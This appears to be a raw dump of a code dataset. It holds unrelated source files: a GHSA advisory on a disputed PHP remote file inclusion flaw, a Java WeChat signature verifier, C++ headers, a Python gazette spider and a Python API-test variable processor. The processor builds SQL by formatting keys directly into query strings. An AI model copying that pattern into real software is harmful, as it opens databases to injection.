max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
892
{ "schema_version": "1.2.0", "id": "GHSA-x8qg-82x8-gf44", "modified": "2022-05-01T07:33:04Z", "published": "2022-05-01T07:33:04Z", "aliases": [ "CVE-2006-5920" ], "details": "** DISPUTED ** PHP remote file inclusion vulnerability in common.php in Yuuki Yoshizawa Exporia 0.3.0 allows remote attackers to execute arbitrary PHP code via a URL in the lan parameter. NOTE: SecurityFocus disputes this issue, saying \"further analysis reveals that the application is not vulnerable.\" NOTE: this issue may overlap CVE-2006-5113.", "severity": [ ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5920" }, { "type": "WEB", "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29895" }, { "type": "WEB", "url": "http://securityreason.com/securityalert/1858" }, { "type": "WEB", "url": "http://www.securityfocus.com/archive/1/450024/100/200/threaded" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/20205" } ], "database_specific": { "cwe_ids": [ ], "severity": "HIGH", "github_reviewed": false } }
528
405
<filename>jeecg-p3-biz-qywx/src/main/java/com/jeecg/qywx/core/service/impl/SignForWeixinServiceImpl.java package com.jeecg.qywx.core.service.impl; import org.jeecgframework.p3.core.logger.Logger; import org.jeecgframework.p3.core.logger.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.jeecg.qywx.account.dao.QywxAccountDao; import com.jeecg.qywx.account.dao.QywxAgentDao; import com.jeecg.qywx.account.entity.QywxAccount; import com.jeecg.qywx.account.entity.QywxAgent; import com.jeecg.qywx.core.service.SignForWeixinService; import com.jeecg.qywx.core.util.WXBizMsgCrypt; @Service("signForWeixinService") public class SignForWeixinServiceImpl implements SignForWeixinService { private static final Logger logger = LoggerFactory.getLogger(SignForWeixinServiceImpl.class); @Autowired private QywxAgentDao qywxAgentDao; @Autowired private QywxAccountDao qywxAccountDao; public String checkSignature(String signature, String timestamp, String nonce,String echostr,String corpid,Integer appid) { QywxAccount accountInfo = qywxAccountDao.getQywxAccountByCorpid(corpid); if(accountInfo!=null){ QywxAgent appInfo = qywxAgentDao.getQywxAgentByAccountIdAndAppid(accountInfo.getId(), appid.toString()); if (appInfo!=null) { String aesKey = appInfo.getEncodingAESKey(); String token = appInfo.getToken(); Integer appID = Integer.valueOf(appInfo.getWxAgentid()); // 取得与回调参数中应用ID相同的记录 if (appid != null && appid.equals(appID)) { try { WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(token, aesKey,corpid); String sEchoStr = ""; sEchoStr = wxcpt.VerifyURL(signature, timestamp, nonce, echostr); logger.info("[CHECKSIGNATURE]", "checkSignature verifyurl echostr:{}", sEchoStr); return sEchoStr; } catch (Exception e) { // 验证URL失败,错误原因请查看异常 e.printStackTrace(); } } } } return ""; } /** * 将字节数组转换为十六进制字符串 * * @param byteArray * @return */ private static String byteToStr(byte[] byteArray) { String strDigest = ""; for (int i = 0; i < byteArray.length; i++) { strDigest += byteToHexStr(byteArray[i]); } return strDigest; } /** * 将字节转换为十六进制字符串 * * @param mByte * @return */ private static String byteToHexStr(byte mByte) { char[] Digit = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; char[] tempArr = new char[2]; tempArr[0] = Digit[(mByte >>> 4) & 0X0F]; tempArr[1] = Digit[mByte & 0X0F]; String s = new String(tempArr); return s; } }
1,409
454
from gazette.spiders.base.fecam import FecamGazetteSpider class ScPresidenteGetulioSpider(FecamGazetteSpider): name = "sc_presidente_getulio" FECAM_QUERY = "cod_entidade:211" TERRITORY_ID = "4214003"
92
3,788
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See LICENSE in the project root for license information. // DO NOT EDIT! This file was generated by CustomTasks.DependencyPropertyCodeGen #pragma once class AcrylicBrushProperties { public: AcrylicBrushProperties(); void AlwaysUseFallback(bool value); bool AlwaysUseFallback(); void BackgroundSource(winrt::AcrylicBackgroundSource const& value); winrt::AcrylicBackgroundSource BackgroundSource(); void TintColor(winrt::Color const& value); winrt::Color TintColor(); void TintLuminosityOpacity(winrt::IReference<double> const& value); winrt::IReference<double> TintLuminosityOpacity(); void TintOpacity(double value); double TintOpacity(); void TintTransitionDuration(winrt::TimeSpan const& value); winrt::TimeSpan TintTransitionDuration(); static winrt::DependencyProperty AlwaysUseFallbackProperty() { return s_AlwaysUseFallbackProperty; } static winrt::DependencyProperty BackgroundSourceProperty() { return s_BackgroundSourceProperty; } static winrt::DependencyProperty TintColorProperty() { return s_TintColorProperty; } static winrt::DependencyProperty TintLuminosityOpacityProperty() { return s_TintLuminosityOpacityProperty; } static winrt::DependencyProperty TintOpacityProperty() { return s_TintOpacityProperty; } static winrt::DependencyProperty TintTransitionDurationProperty() { return s_TintTransitionDurationProperty; } static GlobalDependencyProperty s_AlwaysUseFallbackProperty; static GlobalDependencyProperty s_BackgroundSourceProperty; static GlobalDependencyProperty s_TintColorProperty; static GlobalDependencyProperty s_TintLuminosityOpacityProperty; static GlobalDependencyProperty s_TintOpacityProperty; static GlobalDependencyProperty s_TintTransitionDurationProperty; static void EnsureProperties(); static void ClearProperties(); static void OnAlwaysUseFallbackPropertyChanged( winrt::DependencyObject const& sender, winrt::DependencyPropertyChangedEventArgs const& args); static void OnBackgroundSourcePropertyChanged( winrt::DependencyObject const& sender, winrt::DependencyPropertyChangedEventArgs const& args); static void OnTintColorPropertyChanged( winrt::DependencyObject const& sender, winrt::DependencyPropertyChangedEventArgs const& args); static void OnTintLuminosityOpacityPropertyChanged( winrt::DependencyObject const& sender, winrt::DependencyPropertyChangedEventArgs const& args); static void OnTintOpacityPropertyChanged( winrt::DependencyObject const& sender, winrt::DependencyPropertyChangedEventArgs const& args); static void OnTintTransitionDurationPropertyChanged( winrt::DependencyObject const& sender, winrt::DependencyPropertyChangedEventArgs const& args); };
1,000
1,442
<reponame>VersiraSec/epsilon-cfw #ifndef CODE_SCRIPT_NODE_H #define CODE_SCRIPT_NODE_H #include <stddef.h> #include <stdint.h> namespace Code { class ScriptNode { public: enum class Type : bool { WithoutParentheses, WithParentheses }; ScriptNode(Type type = Type::WithoutParentheses, const char * name = nullptr, int nameLength = -1, const char * nodeSourceName = nullptr, const char * description = nullptr) : m_type(type), m_name(name), m_nodeSourceName(nodeSourceName), m_description(description), m_nameLength(nameLength) {} Type type() const { return m_type; } const char * name() const { return m_name; } int nameLength() const { return static_cast<int>(m_nameLength); } const char * nodeSourceName() const { return m_nodeSourceName; } const char * description() const { return m_description; } private: Type m_type; const char * m_name; const char * m_nodeSourceName; const char * m_description; size_t m_nameLength; }; } #endif
351
1,144
#pragma once #include <string> #include <vector> #include "caps.h" class RandomCapsFactory { public: RandomCapsFactory(bool capi); ~RandomCapsFactory(); void gen_integer(); void gen_float(); void gen_long(); void gen_double(); void gen_string(); void gen_binary(); void gen_object(uint32_t enable_sub_object); inline caps_t caps() const { return c_this_caps; } inline std::shared_ptr<Caps>& caps_ptr() { return this_caps; } // 进行序列化反序列化测试并检查结果 int32_t check(); bool c_check(caps_t caps); bool cpp_check(std::shared_ptr<Caps>& caps); private: void gen_random_member(uint32_t enable_sub_object); int32_t c_check(); int32_t cpp_check(); private: std::vector<uint8_t> member_types; std::vector<int32_t> integers; std::vector<float> floats; std::vector<int64_t> longs; std::vector<double> doubles; std::vector<std::string> strings; std::vector<std::vector<uint8_t> > binarys; std::vector<RandomCapsFactory*> sub_objects; std::shared_ptr<Caps> this_caps; caps_t c_this_caps = 0; bool use_c_api = false; };
435
422
from core.decorator.normal_functions import * from core.tools.CommonFunc import * from core.processor.BP import BP from core.keywords import kwKeyList # 导入所有关键字,在 keywords.__init__.py中导入 import core.processor.KP from core.processor.SelfKeywordProcesser import SelfKeywordProcesser from core.tools.VerifyTool import VerifyTool def processStrForPlatformVar(strbase): return strbase.replace("$VAR[","$VAR-[").replace("$GVAR[","$GVAR-[")\ .replace("$TEXT[","$TEXT-[").replace("$RUNFUNC[","$RUNFUNC-[").replace("$IMPORT[","$IMPORT-[")\ .replace("var(","var-[").replace("gvar(","gvar-[").replace("const(","const-[").replace("{{","{-{") def processStrForPlatformKeyword(strbase): #系统关键字的处理 for tmpKwKey in kwKeyList: strbase = strbase.replace("%s(" % tmpKwKey,"%s-(" % (tmpKwKey)) #自定义关键字的处理 selfKwList, selfKwDict = SelfKeywordProcesser.getSelfKeywordDict() for tmpKwKey in selfKwList: strbase = strbase.replace("%s(" % tmpKwKey,"%s-(" % (tmpKwKey)) return strbase def confuseAllStr(strBase): return processStrForPlatformVar(processStrForPlatformKeyword(strBase)) class CP(object): maxVarCallLoopCountForGvar = 10 maxVarCallLoopCountForText = 2 maxVarCallLoopCountForImports = 2 maxVarCallLoopCountForVar = 300 @staticmethod @catch_exception def process_TEXT_subStr(context,strTobeProcessed): """ 处理组合文本 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 strTobeProcessed: 为装饰器keyword准备,装饰器会获取相应的要处理的文本后传入。 Returns: 处理了所有$TEXT[]后的value。 """ if strTobeProcessed.strip() in context.highPriorityVARSDict.keys(): return context.highPriorityVARSDict[strTobeProcessed.strip()] varKey = strTobeProcessed.strip() # 判断是否超出最大引用次数 if varKey in context.varCallCountDict['TEXT'].keys(): if context.varCallCountDict['TEXT'][varKey] > CP.maxVarCallLoopCountForText: resValue = "<ERROR:组合文本%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['TEXT'][varKey] += 1 else: context.varCallCountDict['TEXT'][varKey] = 1 db = context.globalDB db.setCursorDict(False) if db.connect() == False: context.setEXCEPTION("global数据库连接异常!请联系管理员检查配置!") return "<EXCEPTION:平台数据库连接异常,请联系管理员。>" if context.version == "CurrentVersion": res = db.execute_sql("SELECT textValue FROM tb_global_text WHERE textKey='%s' and state=1 " % strTobeProcessed.strip()) else: res = db.execute_sql("SELECT textValue FROM tb_version_global_text WHERE textKey='%s' and versionName='%s' and state=1 " % (strTobeProcessed.strip(),context.version)) resValue = "" textValue = "" if res: resValue = res[0][0].strip() endTag = "[ENDCONF]" if endTag in resValue: # 根据环境取值 如果当前环境有值用当前环境的值,如果没有用common中的 startTag = "[CONF=common]" commonValue = get_sub_string(resValue, startTag, endTag).strip() startTag = "[CONF=%s]" % context.confHttpLayer.confServiceLayer.key # 获取环境的key serviceValue = get_sub_string(resValue, startTag, endTag).strip() if commonValue == "" and serviceValue == "": resValue = "<ERROR:当前环境未配置此组合文本%s>" % strTobeProcessed.strip() context.setERROR(resValue) #当没有获取到组合文本时,执行ERROR退出。 else: textValue = commonValue + "\n" + serviceValue resValue = "<PASS: 成功处理组合文本%s>" % strTobeProcessed.strip() else: resValue = "<ERROR:不合法的组合文本%s>" % strTobeProcessed.strip() context.setERROR(resValue) # 当没有获取到组合文本时,执行ERROR退出。 db.setCursorDict(True) #对于获取到的文本进行一次处理。 context.generateVarsKeyListAndVarsPool("%s" % textValue) return resValue """ 一些通用处理的类,针对核心执行的类HttpBase.py """ @staticmethod @keyword(startTag="$TEXT[",endTag="]") @catch_exception def process_TEXT(value, context,strTobeProcessed = ""): return CP.process_TEXT_subStr(context,strTobeProcessed) @staticmethod @keyword(startTag="$INCLUDE[",endTag="]") @catch_exception def process_INCLUDE(value, context,strTobeProcessed = ""): return CP.process_TEXT_subStr(context,strTobeProcessed) @staticmethod @keyword(startTag="$IMPORT[",endTag="]") @catch_exception def process_IMPORT(value, context,strTobeProcessed = ""): return CP.process_TEXT_subStr(context,strTobeProcessed) @staticmethod @keyword(startTag="$RUNFUNC[",endTag="]") @catch_exception def process_RUNFUNC(value, context,strTobeProcessed = ""): return CP.process_TEXT_subStr(context,strTobeProcessed) @staticmethod @catch_exception def processAllTextImportEtc(value,context): value = CP.process_TEXT(value, context) value = CP.process_IMPORT(value, context) # value = CP.process_INCLUDE(value, context) value = CP.process_RUNFUNC(value, context) return value @staticmethod @keyword(startTag="$GVAR[", endTag="]") @catch_exception def process_GVAR(value, context, strTobeProcessed = ""): """ 处理全局变量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$GVAR[]后的value。 """ varKey = strTobeProcessed.strip() #判断是否超出最大引用次数 if varKey in context.varCallCountDict['GVAR'].keys(): if context.varCallCountDict['GVAR'][varKey] > CP.maxVarCallLoopCountForGvar: resValue = "<ERROR:全局变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['GVAR'][varKey] += 1 else: context.varCallCountDict['GVAR'][varKey] = 1 if varKey in context.highPriorityVARSDict.keys(): resValue = context.highPriorityVARSDict[varKey] else: db = context.globalDB db.setCursorDict(False) if db.connect() == False: context.setEXCEPTION("global数据库连接异常!请联系管理员检查配置!") resValue = "<EXCEPTION:平台数据库连接异常,请联系管理员。>" else: if context.version == "CurrentVersion": res = db.execute_sql("SELECT varValue FROM tb_global_vars WHERE varKey='%s' and state=1 " % varKey) else: res = db.execute_sql("SELECT varValue FROM tb_version_global_vars WHERE varKey='%s'and versionName='%s' and state=1 " % (varKey,context.version)) if res: resValue = res[0][0] endTag = "[ENDCONF]" if endTag in resValue: # 根据环境取值 如果当前环境有值用当前环境的值,如果没有用common中的 startTag = "[CONF=common]" commonValue = get_sub_string(resValue, startTag, endTag).strip() startTag = "[CONF=%s]" % context.confHttpLayer.confServiceLayer.key #获取环境的key serviceValue = get_sub_string(resValue, startTag, endTag).strip() if serviceValue == "": #没有指定环境的全局变量,使用common中的 if commonValue == "": #没有通用环境的全局变量,返回异常。 resValue = "<ERROR:环境[%s]未配置此全局变量%s>" % (context.confHttpLayer.confServiceLayer.key,varKey) context.setERROR(resValue) else: resValue = commonValue else: resValue = serviceValue else: resValue = "<ERROR:不合法的全局变量%s>" % varKey context.setERROR(resValue) db.setCursorDict(True) return core.processor.KP.KP.getProcessedValue(resValue,context) @staticmethod @keyword(startTag="gvar(", endTag=")") @catch_exception def process_gvar(value, context, strTobeProcessed=""): """ 处理全局变量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$GVAR[]后的value。 """ varKey = strTobeProcessed.strip() # 判断是否超出最大引用次数 if varKey in context.varCallCountDict['GVAR'].keys(): if context.varCallCountDict['GVAR'][varKey] > CP.maxVarCallLoopCountForGvar: resValue = "<ERROR:全局变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['GVAR'][varKey] += 1 else: context.varCallCountDict['GVAR'][varKey] = 1 if varKey in context.highPriorityVARSDict.keys(): resValue = context.highPriorityVARSDict[varKey] else: db = context.globalDB db.setCursorDict(False) if db.connect() == False: context.setEXCEPTION("global数据库连接异常!请联系管理员检查配置!") resValue = "<EXCEPTION:平台数据库连接异常,请联系管理员。>" else: if context.version == "CurrentVersion": res = db.execute_sql("SELECT varValue FROM tb_global_vars WHERE varKey='%s' and state=1 " % varKey) else: res = db.execute_sql( "SELECT varValue FROM tb_version_global_vars WHERE varKey='%s'and versionName='%s' and state=1 " % ( varKey, context.version)) if res: resValue = res[0][0] endTag = "[ENDCONF]" if endTag in resValue: # 根据环境取值 如果当前环境有值用当前环境的值,如果没有用common中的 startTag = "[CONF=common]" commonValue = get_sub_string(resValue, startTag, endTag).strip() startTag = "[CONF=%s]" % context.confHttpLayer.confServiceLayer.key # 获取环境的key serviceValue = get_sub_string(resValue, startTag, endTag).strip() if serviceValue == "": # 没有指定环境的全局变量,使用common中的 if commonValue == "": # 没有通用环境的全局变量,返回异常。 resValue = "<ERROR:当前环境未配置此全局变量%s>" % varKey context.setERROR(resValue) else: resValue = commonValue else: resValue = serviceValue else: resValue = "<ERROR:不合法的全局变量%s>" % varKey context.setERROR(resValue) db.setCursorDict(True) return core.processor.KP.KP.getProcessedValue(resValue,context) @staticmethod @keyword(startTag="$VAR[", endTag="]") @catch_exception def process_VARS(value,context, strTobeProcessed = ""): """ 处理变量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$VAR[]后的value。 """ #varsPool必须是 # 先参数自替换 varKeyStrip = strTobeProcessed.strip() # 判断是否超出最大引用次数 varKey = varKeyStrip if not VerifyTool.IsVarMatch(varKey): resValue = "<ERROR:引用变量key[%s]不合法>" % varKey context.setERROR(resValue) return resValue if varKey in context.varCallCountDict['VAR'].keys(): if context.varCallCountDict['VAR'][varKey] > CP.maxVarCallLoopCountForVar: resValue = "<ERROR:变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['VAR'][varKey] += 1 else: context.varCallCountDict['VAR'][varKey] = 1 if varKeyStrip == "": varValue = "<ERROR:变量名不能为空>" context.setERROR(varValue) return varValue if varKeyStrip in context.highPriorityVARSDict.keys(): varValue = context.highPriorityVARSDict[varKeyStrip] else: if varKeyStrip not in context.varsPool.keys(): varValue = "<ERROR:不合法的变量%s>" % varKeyStrip context.setERROR(varValue) else: varValue = context.varsPool[varKeyStrip] context.updateCalledVarkeyList(varKeyStrip) return processJsonalbeValue(varValue) @staticmethod @keyword(startTag="var(", endTag=")") @catch_exception def process_vars(value, context, strTobeProcessed=""): """ 处理变量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$VAR[]后的value。 """ # varsPool必须是 # 先参数自替换 varKeyStrip = strTobeProcessed.strip() # 判断是否超出最大引用次数 varKey = varKeyStrip if not VerifyTool.IsVarMatch(varKey): resValue = "<ERROR:引用变量key[%s]不合法>" % varKey context.setERROR(resValue) return resValue if varKey in context.varCallCountDict['VAR'].keys(): if context.varCallCountDict['VAR'][varKey] > CP.maxVarCallLoopCountForVar: resValue = "<ERROR:变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['VAR'][varKey] += 1 else: context.varCallCountDict['VAR'][varKey] = 1 if varKeyStrip == "": varValue = "<ERROR:变量名不能为空>" context.setERROR(varValue) return varValue if varKeyStrip in context.highPriorityVARSDict.keys(): varValue = context.highPriorityVARSDict[varKeyStrip] else: if varKeyStrip not in context.varsPool.keys(): varValue = "<ERROR:不合法的变量%s>" % varKeyStrip context.setERROR(varValue) else: varValue = context.varsPool[varKeyStrip] context.updateCalledVarkeyList(varKeyStrip) return processJsonalbeValue(varValue) @staticmethod @keyword(startTag="{{", endTag="}}") @catch_exception def process_common_ALL_TYPE_VAR(value,context, strTobeProcessed = ""): """ 处理变量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$VAR[]后的value。 """ #varsPool必须是 # 先参数自替换 varKeyStrip = strTobeProcessed.strip() varKey = varKeyStrip if varKeyStrip == "": varValue = "<ERROR:变量名不能为空>" context.setERROR(varValue) return varValue if varKeyStrip in context.highPriorityVARSDict.keys(): # 判断是否超出最大引用次数 if varKey in context.varCallCountDict['VAR'].keys(): if context.varCallCountDict['VAR'][varKey] > CP.maxVarCallLoopCountForVar: resValue = "<ERROR:变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['VAR'][varKey] += 1 else: context.varCallCountDict['VAR'][varKey] = 1 varValue = context.highPriorityVARSDict[varKeyStrip] else: if varKeyStrip not in context.varsPool.keys(): #进入全局变量匹配模式 db = context.globalDB db.setCursorDict(False) if db.connect() == False: context.setEXCEPTION("global数据库连接异常!请联系管理员检查配置!") resValue = "<EXCEPTION:平台数据库连接异常,请联系管理员。>" else: if context.version == "CurrentVersion": res = db.execute_sql( "SELECT varValue FROM tb_global_vars WHERE varKey='%s' and state=1 " % varKey) else: res = db.execute_sql( "SELECT varValue FROM tb_version_global_vars WHERE varKey='%s'and versionName='%s' and state=1 " % ( varKey, context.version)) if res: # 判断是否超出最大引用次数 if varKey in context.varCallCountDict['GVAR'].keys(): if context.varCallCountDict['GVAR'][varKey] > CP.maxVarCallLoopCountForGvar: resValue = "<ERROR:全局变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['GVAR'][varKey] += 1 else: context.varCallCountDict['GVAR'][varKey] = 1 resValue = res[0][0] endTag = "[ENDCONF]" if endTag in resValue: # 根据环境取值 如果当前环境有值用当前环境的值,如果没有用common中的 startTag = "[CONF=common]" commonValue = get_sub_string(resValue, startTag, endTag).strip() startTag = "[CONF=%s]" % context.confHttpLayer.confServiceLayer.key # 获取环境的key serviceValue = get_sub_string(resValue, startTag, endTag).strip() if serviceValue == "": # 没有指定环境的全局变量,使用common中的 if commonValue == "": # 没有通用环境的全局变量,返回异常。 resValue = "<ERROR:环境[%s]未配置此全局变量%s>" % (context.confHttpLayer.confServiceLayer.key,varKey) context.setERROR(resValue) else: resValue = commonValue resValue = core.processor.KP.KP.getProcessedValue(resValue, context) else: resValue = serviceValue resValue = core.processor.KP.KP.getProcessedValue(resValue, context) else: resValue = "<ERROR:优先变量、变量和全局变量中没有匹配到%s。>" % varKey context.setERROR(resValue) varValue = resValue else: #进去局部变量匹配 if not VerifyTool.IsVarMatch(varKeyStrip): resValue = "<ERROR:引用变量key[%s]不合法>" % varKeyStrip context.setERROR(resValue) return resValue # 判断是否超出最大引用次数 if varKey in context.varCallCountDict['VAR'].keys(): if context.varCallCountDict['VAR'][varKey] > CP.maxVarCallLoopCountForVar: resValue = "<ERROR:变量%s在单接口中被引用次数超过最大值,请检查是否存在循环引用。>" % varKey context.setERROR(resValue) return resValue else: context.varCallCountDict['VAR'][varKey] += 1 else: context.varCallCountDict['VAR'][varKey] = 1 #匹配到局部变量池的中的变量,直接返回。 varValue = context.varsPool[varKeyStrip] context.updateCalledVarkeyList(varKeyStrip) return processJsonalbeValue(varValue) @staticmethod @keyword(startTag="$CONST[", endTag="]") @catch_exception def process_CONST(value, context, strTobeProcessed = ""): """ 处理全局常量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$CONST[]后的value。 """ constKeyList = ["RESP_STATUS","RESP_HEADER","RESP_TEXT","RESP_BODY","RESP_CONTENT", "INTERFACE_RESP_STATUS","INTERFACE_RESP_HEADER","INTERFACE_RESP_TEXT","INTERFACE_RESP_BODY","INTERFACE_RESP_CONTENT", "DUBBO_TEXT"] varKeyStrip = strTobeProcessed.strip() if varKeyStrip not in constKeyList: varValue = "<ERROR:不合法的常量%s,支持常量%s>" % (varKeyStrip, constKeyList) context.setERROR(varValue) else: try: if varKeyStrip == constKeyList[0]: varValue = getRespCodeByResponse(context.response) elif varKeyStrip == constKeyList[1]: varValue = confuseAllStr(getRespHeaderJsonByResponse(context.response)) elif varKeyStrip == constKeyList[2] or varKeyStrip == constKeyList[3] or varKeyStrip == constKeyList[4]: varValue = confuseAllStr(getRespTextByResponse(context.response)) elif varKeyStrip == constKeyList[5]: varValue = getRespCodeByResponse(context.interface_response) elif varKeyStrip == constKeyList[6]: varValue = confuseAllStr(getRespHeaderJsonByResponse(context.interface_response)) elif varKeyStrip == constKeyList[7] or varKeyStrip == constKeyList[8] or varKeyStrip == constKeyList[9]: varValue = confuseAllStr(getRespTextByResponse(context.interface_response)) elif varKeyStrip == constKeyList[10]: varValue = confuseAllStr(context.dubboResponseString) else: varValue = "<ERROR:未知的常量类型%s>" % varKeyStrip except Exception as e: varValue = "<EXCEPTION:不可知异常,请联系管理员解决>" context.setEXCEPTION(varValue) return varValue @staticmethod @keyword(startTag="const(", endTag=")") @catch_exception def process_const(value, context, strTobeProcessed = ""): """ 处理全局常量 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 Returns: 处理了所有$CONST[]后的value。 """ constKeyList = ["RESP_STATUS","RESP_HEADER","RESP_TEXT","RESP_BODY","RESP_CONTENT", "INTERFACE_RESP_STATUS","INTERFACE_RESP_HEADER","INTERFACE_RESP_TEXT","INTERFACE_RESP_BODY","INTERFACE_RESP_CONTENT", "DUBBO_TEXT"] varKeyStrip = strTobeProcessed.strip() if varKeyStrip not in constKeyList: varValue = "<ERROR:不合法的常量%s,支持常量%s>" % (varKeyStrip, constKeyList) context.setERROR(varValue) else: try: if varKeyStrip == constKeyList[0]: varValue = getRespCodeByResponse(context.response) elif varKeyStrip == constKeyList[1]: varValue = confuseAllStr(getRespHeaderJsonByResponse(context.response)) elif varKeyStrip == constKeyList[2] or varKeyStrip == constKeyList[3] or varKeyStrip == constKeyList[4]: varValue = confuseAllStr(getRespTextByResponse(context.response)) elif varKeyStrip == constKeyList[5]: varValue = getRespCodeByResponse(context.interface_response) elif varKeyStrip == constKeyList[6]: varValue = confuseAllStr(getRespHeaderJsonByResponse(context.interface_response)) elif varKeyStrip == constKeyList[7] or varKeyStrip == constKeyList[8] or varKeyStrip == constKeyList[9]: varValue = confuseAllStr(getRespTextByResponse(context.interface_response)) elif varKeyStrip == constKeyList[10]: varValue = confuseAllStr(context.dubboResponseString) else: varValue = "<ERROR:未知的常量类型%s>" % varKeyStrip except Exception as e: varValue = "<EXCEPTION:不可知异常,请联系管理员解决>" context.setEXCEPTION(varValue) return varValue @staticmethod @catch_exception def getProcessedValue(value,context): """ 处理value,所有都处理一遍。 Args: value: 要处理的字符串 context: 上下文,HttpBase的self本身 isProcessKeyword: 是否处理关键字 Returns: 处理了所有属性后的value """ value = CP.processAllTextImportEtc(value, context) value = BP.process_branch_IF(value,context) value = CP.process_CONST(value, context) value = CP.process_GVAR(value, context) value = CP.process_VARS(value, context) value = CP.process_common_ALL_TYPE_VAR(value, context) value = CP.process_const(value, context) value = CP.process_gvar(value, context) value = CP.process_vars(value, context) return value if __name__ == '__main__': value = "NOW_FORMAT(%Y)" value = eval("NOW_FORMAT(value)") print (value)
15,439
1,947
<reponame>Georepublic/valhalla #ifndef VALHALLA_BALDR_TRANSITROUTE_H_ #define VALHALLA_BALDR_TRANSITROUTE_H_ #include <cstdint> #include <valhalla/baldr/graphconstants.h> namespace valhalla { namespace baldr { /** * Information held for each transit route. This is information not required * during path generation. Such information is held within the transit * schedules and graph edges. */ class TransitRoute { public: // Constructor with arguments TransitRoute(const TransitType route_type, const uint32_t one_stop_offset, const uint32_t op_by_onestop_id_offset, const uint32_t op_by_name_offset, const uint32_t op_by_website_offset, const uint32_t route_color, const uint32_t route_text_color, const uint32_t short_name_offset, const uint32_t long_name_offset, const uint32_t desc_offset); /** * Get the route type. * @return Returns the route type. */ TransitType route_type() const { return static_cast<TransitType>(route_type_); } /** * Get the TransitLand one stop Id offset for this route. * @return Returns the TransitLand one-stop Id offset. */ uint32_t one_stop_offset() const { return one_stop_offset_; } /** * Get the TransitLand operator one stop Id offset for this route. * @return Returns the TransitLand operator one-stop Id offset. */ uint32_t op_by_onestop_id_offset() const { return op_by_onestop_id_offset_; } /** * Get the TransitLand operator name offset for this route. * @return Returns the TransitLand operator name offset. */ uint32_t op_by_name_offset() const { return op_by_name_offset_; } /** * Get the TransitLand operator website offset for this route. * @return Returns the TransitLand operator website offset. */ uint32_t op_by_website_offset() const { return op_by_website_offset_; } /** * Get the route color route. * @return Returns the route color. */ uint32_t route_color() const { return route_color_; } /** * Get the route text color route. * @return Returns the route text color. */ uint32_t route_text_color() const { return route_text_color_; } /** * Get the text/name offset for the short route name. * @return Returns the short name offset in the text/name list. */ uint32_t short_name_offset() const { return short_name_offset_; } /** * Get the text/name offset for the long route name. * @return Returns the short name offset in the text/name list. */ uint32_t long_name_offset() const { return long_name_offset_; } /** * Get the text/name offset for the route description. * @return Returns the description offset in the text/name list. */ uint32_t desc_offset() const { return desc_offset_; } /** * operator < - for sorting. Sort by route Id. * @param other Other transit route to compare to. * @return Returns true if route Id < other route Id. */ bool operator<(const TransitRoute& other) const; protected: uint32_t route_color_; // Route color uint32_t route_text_color_; // Route text color // Offsets in the text/name list uint64_t route_type_ : 8; // Internal route type uint64_t one_stop_offset_ : 24; // TransitLand onestop Id for this route. uint64_t spare1_ : 32; uint64_t op_by_onestop_id_offset_ : 24; // TransitLand operated by onestop id. uint64_t op_by_name_offset_ : 24; // TransitLand operated by name. uint64_t spare2_ : 16; uint64_t op_by_website_offset_ : 24; // TransitLand operated by website. uint64_t short_name_offset_ : 24; // Short route name. uint64_t spare3_ : 16; uint64_t long_name_offset_ : 24; // Long route name. uint64_t desc_offset_ : 24; // Route description. uint64_t spare4_ : 16; }; } // namespace baldr } // namespace valhalla #endif // VALHALLA_BALDR_TRANSITROUTE_H_
1,478
1,178
// Copyright 2020 Makani Technologies LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <gtest/gtest.h> #include <math.h> #include "control/crosswind/crosswind_power.h" #include "control/crosswind/crosswind_types.h" extern "C" { double GetAirspeedDerivative(double loop_angle, double dloop_angle, CrosswindPathType path_type, const FlightStatus *flight_status, const PlaybookEntry *playbook_entry, const CrosswindPowerParams *params, CrosswindPowerState *state); } TEST(GetAirspeedDerivative, AnalyticAgreement) { CrosswindPowerParams params; PlaybookEntry playbook_entry; CrosswindPowerState state = CrosswindPowerState(); FlightStatus flight_status; const double airspeed_variation_loop_angle_offset = 2.0; const double airspeed_variation = 15.0; const double mean_airspeed_cmd = 42.0; flight_status.flight_mode = kFlightModeCrosswindNormal; for (int i = 0; i < CROSSWIND_SCHEDULE_TABLE_LENGTH; i++) { double loop_angle = (2.0 